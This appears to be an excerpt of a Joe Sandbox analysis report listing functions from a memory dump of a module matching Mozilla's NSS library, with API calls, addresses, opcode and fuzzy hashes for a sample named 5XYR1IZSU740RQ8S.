Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: e4b564911434f009f0a4c3345c4367164ae820b427895c085a1efec2a109d4ed
Instruction ID: fafcce5df81535fbafc3da48c8086cfc3104bca067dc7a2ccb838d9be4c172cc
Opcode Fuzzy Hash: e4b564911434f009f0a4c3345c4367164ae820b427895c085a1efec2a109d4ed
Instruction Fuzzy Hash: 022174B4A047098FDB04AF79C884159BBB8FF16318F1446AADD7497601E730D496CB96

Function 6C9C28A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C9B80DD), ref: 6C9C28BA
EnterCriticalSection.KERNEL32(?,?,?,?,6C9B80DD), ref: 6C9C28D3
PR_Unlock.NSS3(?,?,?,?,?,6C9B80DD), ref: 6C9C28E8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6C9B80DD), ref: 6C9C290E
free.MOZGLUE(?,?,?,?,?,?,6C9B80DD), ref: 6C9C291A

Part of subcall function 6C9B9270: DeleteCriticalSection.KERNEL32(?,?,6C9C5089,?,6C9C3B70,?,?,?,?,?,6C9C5089,6C9BF39B,00000000), ref: 6C9B927F
Part of subcall function 6C9B9270: free.MOZGLUE(?,?,6C9C3B70,?,?,?,?,?,6C9C5089,6C9BF39B,00000000), ref: 6C9B9286
Part of subcall function 6C9B9270: PL_HashTableDestroy.NSS3(?,6C9C3B70,?,?,?,?,?,6C9C5089,6C9BF39B,00000000), ref: 6C9B9292

Part of subcall function 6C9B8B50: TlsGetValue.KERNEL32(00000000,?,6C9C0948,00000000), ref: 6C9B8B6B
Part of subcall function 6C9B8B50: EnterCriticalSection.KERNEL32(?,?,?,6C9C0948,00000000), ref: 6C9B8B80
Part of subcall function 6C9B8B50: PL_FinishArenaPool.NSS3(?,?,?,?,6C9C0948,00000000), ref: 6C9B8B8F
Part of subcall function 6C9B8B50: PR_Unlock.NSS3(?,?,?,?,6C9C0948,00000000), ref: 6C9B8BA1
Part of subcall function 6C9B8B50: DeleteCriticalSection.KERNEL32(?,?,?,?,6C9C0948,00000000), ref: 6C9B8BAC
Part of subcall function 6C9B8B50: free.MOZGLUE(?,?,?,?,?,6C9C0948,00000000), ref: 6C9B8BB8

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalSection$Deletefree$EnterUnlockValue$ArenaDestroyFinishHashPoolTable
String ID:
API String ID: 3225375108-0
Opcode ID: 7105563a143112c614adafae505be92d3e16d5d08ba14664eb11b2a6dad4b2cc
Instruction ID: 645a3a2f37693175286244dbbcf30aeded9e05fc55c6df363941a2fa24bc7f4e
Opcode Fuzzy Hash: 7105563a143112c614adafae505be92d3e16d5d08ba14664eb11b2a6dad4b2cc
Instruction Fuzzy Hash: A4213EB5A04B069BDB00BF78C588459BBF4FF15314F054969DC9497B00E734E899CB92

Function 6C9FF860 Relevance: 7.6, APIs: 5, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C9FF893

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

SECITEM_CopyItem_Util.NSS3(00000000,?,6C9B66A0), ref: 6C9FF8AA

Part of subcall function 6C9FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB85
Part of subcall function 6C9FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9FFBB1

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9FF8B9

Part of subcall function 6CA01200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C9A88A4,00000000,00000000), ref: 6CA01228
Part of subcall function 6CA01200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CA01238
Part of subcall function 6CA01200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C9A88A4,00000000,00000000), ref: 6CA0124B
Part of subcall function 6CA01200: PR_CallOnce.NSS3(6CB02AA4,6CA012D0,00000000,00000000,00000000,?,6C9A88A4,00000000,00000000), ref: 6CA0125D
Part of subcall function 6CA01200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CA0126F
Part of subcall function 6CA01200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CA01280
Part of subcall function 6CA01200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CA0128E
Part of subcall function 6CA01200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CA0129A
Part of subcall function 6CA01200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CA012A1

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C9FF8D9
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CAD18E0), ref: 6C9FF905

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Arena$Pool$Alloc_Arena_CriticalFreeItem_Sectionfree$CallClearCopyDecodeDeleteEnterInitLockOnceQuickUnlockValuecallocmemcpy
String ID:
API String ID: 3757084236-0
Opcode ID: eb3d032e30cc595594e29501e98892d0bf9a6ba45015faade07619039729012a
Instruction ID: 6c0634feefdc4174fb35cc77e3053a81d3ba702693565f26a1c6b87d1476325d
Opcode Fuzzy Hash: eb3d032e30cc595594e29501e98892d0bf9a6ba45015faade07619039729012a
Instruction Fuzzy Hash: 35112772E003046BE3009F25AD41BBB7BE8AF9568CF014168F96487741FB31D549C3E2

Function 6C9909E0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,?,6C9906A2,00000000,?), ref: 6C9909F8
malloc.MOZGLUE(0000001F), ref: 6C990A18
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C990A33

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

PR_Free.NSS3(?), ref: 6C990A6C
PR_Free.NSS3(?), ref: 6C990A87

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Value$Freecalloc$mallocmemcpy
String ID:
API String ID: 207547555-0
Opcode ID: 59cb4fa429f44dc7399054895bcd20705a507b016d266addf5007ea5be973003
Instruction ID: b16cfa2a160f24cf6f7b9d5b07c9347570f1784866174368c6bb5dfd92e817df
Opcode Fuzzy Hash: 59cb4fa429f44dc7399054895bcd20705a507b016d266addf5007ea5be973003
Instruction Fuzzy Hash: 6D1124B19027818BE7109F29CA88652B7BCFF19358F48692AD82A42E10E730F498C7D0

Function 6C9B8FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C9C0710), ref: 6C9B8FF1
PR_CallOnce.NSS3(6CB02158,6C9B9150,00000000,?,?,?,6C9B9138,?,6C9C0710), ref: 6C9B9029
calloc.MOZGLUE(00000001,00000000,?,?,6C9C0710), ref: 6C9B904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C9C0710), ref: 6C9B9066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C9C0710), ref: 6C9B9078

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 30be14bcbbe5d1f8e50500464cf3ebd1034d7dbb979d1026b83045e2ec1010bc
Instruction ID: 9ccb2a3793f5f0ff0c4804c4c7363b3dcb206f51fff6e68e1e847d4e8c9d1fbe
Opcode Fuzzy Hash: 30be14bcbbe5d1f8e50500464cf3ebd1034d7dbb979d1026b83045e2ec1010bc
Instruction Fuzzy Hash: B2114821721111B7E7201A6DAC44A6736BCEBB27ACF110035FC44E6B80F732CD5583E1

Function 6C9CCD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C9E1E10: TlsGetValue.KERNEL32 ref: 6C9E1E36
Part of subcall function 6C9E1E10: EnterCriticalSection.KERNEL32(?,?,?,6C9BB1EE,2404110F,?,?), ref: 6C9E1E4B
Part of subcall function 6C9E1E10: PR_Unlock.NSS3 ref: 6C9E1E76

free.MOZGLUE(?,6C9CD079,00000000,00000001), ref: 6C9CCDA5
PK11_FreeSymKey.NSS3(?,6C9CD079,00000000,00000001), ref: 6C9CCDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C9CD079,00000000,00000001), ref: 6C9CCDCF
DeleteCriticalSection.KERNEL32(?,6C9CD079,00000000,00000001), ref: 6C9CCDE2
free.MOZGLUE(?), ref: 6C9CCDE9

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: cac7e5a14df60777767d91817e1b64bc5cd40083b71f846705434a031bfb3806
Instruction ID: 5d96abd9359c6f75c11c52e20a888ea70d8e733a8c734b57f5852657936d16c5
Opcode Fuzzy Hash: cac7e5a14df60777767d91817e1b64bc5cd40083b71f846705434a031bfb3806
Instruction Fuzzy Hash: B511A0B2B01216ABEB00AB65EC44A96BB7DBF1425C7104121E91987E01E732F475C7E2

Function 6CA0D9A0 Relevance: 7.6, APIs: 5, Instructions: 57COMMON

Download Yara Rule

APIs

SEC_PKCS7DecoderStart.NSS3 ref: 6CA0D9C5

Part of subcall function 6CA0D430: PORT_NewArena_Util.NSS3(00000400), ref: 6CA0D43B
Part of subcall function 6CA0D430: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CA0D452
Part of subcall function 6CA0D430: PORT_ZAlloc_Util.NSS3(00000044), ref: 6CA0D48D
Part of subcall function 6CA0D430: PORT_NewArena_Util.NSS3(00000400), ref: 6CA0D4A0

SEC_PKCS7DecoderUpdate.NSS3(00000000,?,?), ref: 6CA0D9DD

Part of subcall function 6CA0D8A0: PR_GetCurrentThread.NSS3 ref: 6CA0D8D0
Part of subcall function 6CA0D8A0: SEC_PKCS7DestroyContentInfo.NSS3(00000000), ref: 6CA0D905
Part of subcall function 6CA0D8A0: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA0D921

SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CA0D9FC

Part of subcall function 6CA0C6E0: SECOID_FindOID_Util.NSS3(?,?,?,?,?,?,6CA071CF,?), ref: 6CA0C70F
Part of subcall function 6CA0C6E0: CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CA071CF,?), ref: 6CA0C811
Part of subcall function 6CA0C6E0: CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CA071CF,?), ref: 6CA0C841
Part of subcall function 6CA0C6E0: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA0C855
Part of subcall function 6CA0C6E0: PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,6CA071CF,?), ref: 6CA0C868

PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA0DA1B
free.MOZGLUE(00000000), ref: 6CA0DA24

Part of subcall function 6C9FDD00: PR_SetError.NSS3(FFFFE009,00000000,?,-00000001,?,6CA06CD3,?), ref: 6C9FDD1B
Part of subcall function 6C9FDD00: PORT_FreeArena_Util.NSS3(6CA06CD3,00000001,?,-00000001,?,6CA06CD3,?), ref: 6C9FDD2A

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Arena_$DestroyFree$Alloc_CertificateContentDecoderErrorInfo$ArenaCurrentFindStartThreadUpdatefree
String ID:
API String ID: 2712268329-0
Opcode ID: 3a6676313f7688522182b900b9341f2708577fbb35f99b09d0f2491f1cf149a1
Instruction ID: ba02a41ff93b51aa4ad0ca207593f9e0fa41ed6054b881a4b0fd763b54e7a659
Opcode Fuzzy Hash: 3a6676313f7688522182b900b9341f2708577fbb35f99b09d0f2491f1cf149a1
Instruction Fuzzy Hash: 9411C676F042045BE710EF29BD05A9AB7E8AF9468CF094038FC58D3711E731E598C7A2

Function 6CA32CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CA35B40: PR_GetIdentitiesLayer.NSS3 ref: 6CA35B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA32CEC

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

PR_EnterMonitor.NSS3(?), ref: 6CA32D02
PR_EnterMonitor.NSS3(?), ref: 6CA32D1F
PR_ExitMonitor.NSS3(?), ref: 6CA32D42
PR_ExitMonitor.NSS3(?), ref: 6CA32D5B

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 0c06bd8677a9cec20405203f4a86ad1f4893207a5f2f2381f6532e53699514fc
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 110108B19002105BEA719F3AFC45BC7B3A1EF45358F005625E85EC6B11E632F85987D2

Function 6CA32D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CA35B40: PR_GetIdentitiesLayer.NSS3 ref: 6CA35B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA32D9C

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

PR_EnterMonitor.NSS3(?), ref: 6CA32DB2
PR_EnterMonitor.NSS3(?), ref: 6CA32DCF
PR_ExitMonitor.NSS3(?), ref: 6CA32DF2
PR_ExitMonitor.NSS3(?), ref: 6CA32E0B

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 672842717fe2170520ae6283b64a7f9493503fb5c50656b1e8c279e140e7ac37
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 8901C8B19002105BE6309F3AFD05BC7B7B1EF45358F045535E85EC6B11D632F85986D2

Function 6C9CAE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C9B3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9CAE42), ref: 6C9B30AA
Part of subcall function 6C9B3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9B30C7
Part of subcall function 6C9B3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C9B30E5
Part of subcall function 6C9B3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C9B3116
Part of subcall function 6C9B3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C9B312B
Part of subcall function 6C9B3090: PK11_DestroyObject.NSS3(?,?), ref: 6C9B3154
Part of subcall function 6C9B3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C9A99FF,?,?,?,?,?,?,?,?,?,6C9A2D6B,?), ref: 6C9CAE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C9A99FF,?,?,?,?,?,?,?,?,?,6C9A2D6B,?), ref: 6C9CAE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9CAE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9CAE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C9A2D6B,?,?), ref: 6C9CAEA3

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 04fd82d561d2d3f1cc4168cc4b33665fd1f3632e51e5537cd1074105316eaf2a
Instruction ID: b3aec7e9dd2901b733d927f4dddfa99d5c78f6a8a2c445676990fb4f6fa164f0
Opcode Fuzzy Hash: 04fd82d561d2d3f1cc4168cc4b33665fd1f3632e51e5537cd1074105316eaf2a
Instruction Fuzzy Hash: 8D01C866B4451067E701926CAC99AEF31988BB765CF080431E906D7B41FE25DE1543E3

Function 6CABBDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6CAB7AFE,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CABBDC3
free.MOZGLUE(?,?,6CAB7AFE,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CABBDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CAB7AFE,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CABBDE9
free.MOZGLUE(?,00000000,00000000,?,6CAB7AFE,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CABBE21
free.MOZGLUE(00000000,00000000,?,6CAB7AFE,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CABBE32

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: f93e92b1887a5eb0284e940d2d6eb41261828cd3b7745c92c224f58fc5cb5ea4
Instruction ID: e89671b660a3a4c2311d220f55d150f329a099b658b53915ac62fe881df3ee8d
Opcode Fuzzy Hash: f93e92b1887a5eb0284e940d2d6eb41261828cd3b7745c92c224f58fc5cb5ea4
Instruction Fuzzy Hash: 9D1106B5B013019FEF11DF29E84AB023BBDBB6A258B08416DE50A97710F735A45DCB92

Function 6CA449C0 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(000A2CD6,00000000,00000000,00000678,?,?,6CA35F34,00000A20), ref: 6CA449EC

